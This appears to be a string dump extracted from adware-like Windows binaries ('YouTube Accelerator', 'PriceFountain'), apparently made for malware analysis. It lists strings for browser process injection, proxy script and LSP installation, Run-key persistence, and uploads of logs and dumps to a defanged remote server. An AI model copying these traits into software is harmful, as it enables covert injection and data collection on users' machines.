[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@PRODUCT_DOMAIN@.com/finishinstall?

hXXp://rep.@PRODUCT_DOMAIN@.com/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@PRODUCT_DOMAIN@.com/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@BRAND_ID@.videoaccelerator.com/support/

hXXp://@BRAND_ID@.videoaccelerator.com/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@BRAND@.videoaccelerator.com/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @BRAND@.BCheck out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

pricefountainw.exe_2284:

.text

`.rdata

@.data

.rsrc

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

Útetime

%file

ûase

%func

%user

%d/%M/%Y %H:%m:%s,%g

%d-%M-%Y_%H-%m

logs\myeasylog.log

Erroneous arithmetic operation

Arithemetic operation issue such as division by zero or operation resulting in overflow.

Generally due to a corruption in the code or to an attempt to execute data.

Interruption generated (generally) by user or operating system.

WatchExecuter.cpp

invalid map<K, T> key

' ).;<52

Útetime %level [%logger] %msg

Útetime %level [%logger] [%user@%host] [%func] [%loc] %msg

Útetime %level-%vlevel [%logger] %msg

Útetime %level [%logger] [%func] [%loc] %msg

Útetime %level %msg

c:\users\idan\documents\mydev\suzandll\utilityhelpers\src\helpers\easylogging.h

50000000

Útetime [%level] (%file:%line) %msg

bool __thiscall helpers::MinidumpsHelper::CreateS3Url(class std::vector<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::allocator<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > > >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\helpers\MinidumpsHelper.cpp

src\helpers\LogsCollectorHelper.cpp

------BoundaryX

Content-Disposition: form-data; name="uploaded"; filename="%s"

------BoundaryX--

hSession failed, errorcode 0xx

hConnect failed, errorcode 0xx

hRequest failed, errorcode 0xx

hResults failed, errorcode 0xx

C:\Users\Idan\Documents\MyDev\SuzanDll\SuzanDLL\Release\suzanw.pdb

KERNEL32.dll

EnumWindows

USER32.dll

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

SHELL32.dll

PSAPI.DLL

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SHLWAPI.dll

dbghelp.dll

VERSION.dll

GetCPInfo

GetProcessHeap

suzanw.exe

??0HttpHelper@helpers@@QAE@ABV01@@Z

??0HttpHelper@helpers@@QAE@PB_W00@Z

??0HttpRequestContent@helpers@@QAE@ABV01@@Z

??0HttpRequestContent@helpers@@QAE@XZ

??0PrcssHelper@helpers@@QAE@ABV01@@Z

??0PrcssHelper@helpers@@QAE@XZ

??1HttpHelper@helpers@@QAE@XZ

??1PrcssHelper@helpers@@QAE@XZ

??4HttpHelper@helpers@@QAEAAV01@ABV01@@Z

??4HttpRequestContent@helpers@@QAEAAV01@ABV01@@Z

??4PrcssHelper@helpers@@QAEAAV01@ABV01@@Z

??_7HttpRequestContent@helpers@@6B@

?CheckIfProcessRunning@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@KKPAVErrorData@@@Z

?CloseApp@PrcssHelper@helpers@@SA?AW4TerminationResult@12@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAVErrorData@@@Z

?CreateS3Url@LogsCollectorHelper@helpers@@AAE_NXZ

?CreateS3Url@MinidumpsHelper@helpers@@AAE_NV?$vector@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$allocator@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@std@@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@4@1@Z

?FindPathFromExeName@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV34@PAVErrorData@@@Z

?FindProcessId@PrcssHelper@helpers@@SAKV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?GetAllRunningProcesses@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetCookies@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetDataOfRunningProcess@PrcssHelper@helpers@@SA_NABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAUprocessData@12@@Z

?GetDefaultURL@HttpHelper@helpers@@SAABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetProcessNameByID@PrcssHelper@helpers@@SA?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@K@Z

?GetResponseHeaders@HttpHelper@helpers@@QBEABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@XZ

?GetStatusCode@HttpHelper@helpers@@QBE?BKXZ

?IsCurrentProcessAlreadyRunning@PrcssHelper@helpers@@SA_NPAVErrorData@@@Z

?IsValidUrl@HttpHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z

?IsWinXP@PrcssHelper@helpers@@SA_NXZ

?LoadProcess@PrcssHelper@helpers@@SA_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PAVErrorData@@PAVProcessData@12@@Z

?ReadFromRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAV45@PAVErrorData@@@Z

?SendPostData@HttpHelper@helpers@@SAXABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@AAV34@@Z

?SendPostRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@4@@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?SendRequest@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?SendRequest_s@HttpHelper@helpers@@QAE?AV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?TerminateAppEnum@PrcssHelper@helpers@@CGHPAUHWND__@@J@Z

?UploadFileToS3@HttpHelper@helpers@@QAE_NV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PA_W0PAV34@@Z

?UploadFileToServerUsingPost@HttpHelper@helpers@@SAHV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@0PA_W00PAV34@@Z

?WriteToRegistry@RegistryHelper@helpers@@SA_NPAUHKEY__@@PB_WV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@2PAVErrorData@@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVHttpRequestContent@2@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@ABV34@@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@KPAX@Z

?_SendRequest_s@HttpHelper@helpers@@QAE_NPAV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@PAVIProgress@2@PAVHttpRequestContent@2@@Z

?char2hex@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@D@Z

?domain@HttpHelper@helpers@@2V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@A

?urlencode@HttpHelper@helpers@@SA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV34@@Z

zcÁ

.?AVHttpRequestContent@helpers@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

combase.dll

Ckernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

portuguese-brazilian

USER32.DLL

s3_url_gen

\logs\wd.log

hXXps://dumpster-server.herokuapp.com/manager/query

__pmLog_.txt

type=offb&topic=urldat&data=1&

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

error in RegOpenKeyEx returned:

error in RegOpenKeyEx type is not REG_SZ

%s\%s_%s_%p_%s_Error_ddd_ddd.dmp

dmp.zip

domain_operational

quick_url_path

%s_%s_Logs_%s.zip

libcef.dll

pricemeter.exe

pricemeterw.exe

WinHTTP/1.0

hXXps://

hXXp://

Content-Type: multipart/form-data; boundary=----BoundaryX

Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

Content-Length: %d

uninst.exe

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe

1.0.8.6

pricefountainw.exe

pricefountain.exe_3356:

.text

`.rdata

@.data

.rsrc

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

operator

GetProcessWindowStation

Útetime

%file

ûase

%func

%user

%d/%M/%Y %H:%m:%s,%g

%d-%M-%Y_%H-%m

logs\myeasylog.log

Erroneous arithmetic operation

Arithemetic operation issue such as division by zero or operation resulting in overflow.

Generally due to a corruption in the code or to an attempt to execute data.

Interruption generated (generally) by user or operating system.

src\MessageLooper.cpp

invalid map<K, T> key

' ).;<52

src\InjectorHelper.cpp

Chrome_Injector_thread

ntdll.dll

kernel32.dll

void __thiscall MasterMind::CreateCrashIfEnabledFromRegistry(const char *,struct HKEY__ *,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\MasterMind.cpp

this is a QA Crash from the EXE.

about to crash EXE !!!

bool __thiscall MasterMind::OnUrlInjected(const char *,const char *)

injected to URL

src\SuzanEXE.cpp

Útetime %level [%logger] %msg

Útetime %level [%logger] [%user@%host] [%func] [%loc] %msg

Útetime %level-%vlevel [%logger] %msg

Útetime %level [%logger] [%func] [%loc] %msg

Útetime %level %msg

c:\users\idan\documents\mydev\suzandll\utilityhelpers\src\helpers\easylogging.h

50000000

Útetime [%level] (%file:%line) %msg

src\helpers\LogsCollectorHelper.cpp

12:28:31

..\Common\Injector.cpp

pszLoggerName - %s

pwszDll %ls dwProcessId %d

LocateModuleBaseAddressInTargetProcess(L"kernel32.dll",dwProcessId,pTargeKernel32) - Failed (0x%8.8X)

pwszName %ls dwProcessId %d

dwProcessId %d

pwszModuleName %ls dwProcessId %d

Injected to process %d

pwszProcess %ls pwszDll %ls pszLoggerName %s

------BoundaryX

Content-Disposition: form-data; name="uploaded"; filename="%s"

------BoundaryX--

hSession failed, errorcode 0xx

hConnect failed, errorcode 0xx

hRequest failed, errorcode 0xx

hResults failed, errorcode 0xx

bool __thiscall helpers::MinidumpsHelper::CreateS3Url(class std::vector<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::allocator<class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > > >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >,class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >)

src\helpers\MinidumpsHelper.cpp

..\DebbieDLL\Logger.cpp

18:30:39

...Error In Format ...

(%d)[

(%d) -

>>>%s()

<<<%s() - 0x%p

..\DebbieDLL\DebbieUnique.cpp

12:28:26

..\Common\CheckUnique.cpp

src\IPCHandlerServer.cpp

[[IPC]] starting create connection pipe loop:

[[IPC]] error creating pipe:

[[IPC]] connection pipe created:

[[IPC]] msgData.isMember("topic") && 0 == msgData["topic"].compare("client_connect") = FALSE

[[IPC]] connection pipe closed

url_detected

\\.\pipe\connection_queue

C:\Users\Idan\Documents\MyDev\SuzanDll\SuzanDLL\Release\SuzanEXE.pdb

VERSION.dll

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

SetProcessShutdownParameters

CreateNamedPipeA

KERNEL32.dll

EnumWindows

USER32.dll

SHELL32.dll

PSAPI.DLL

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

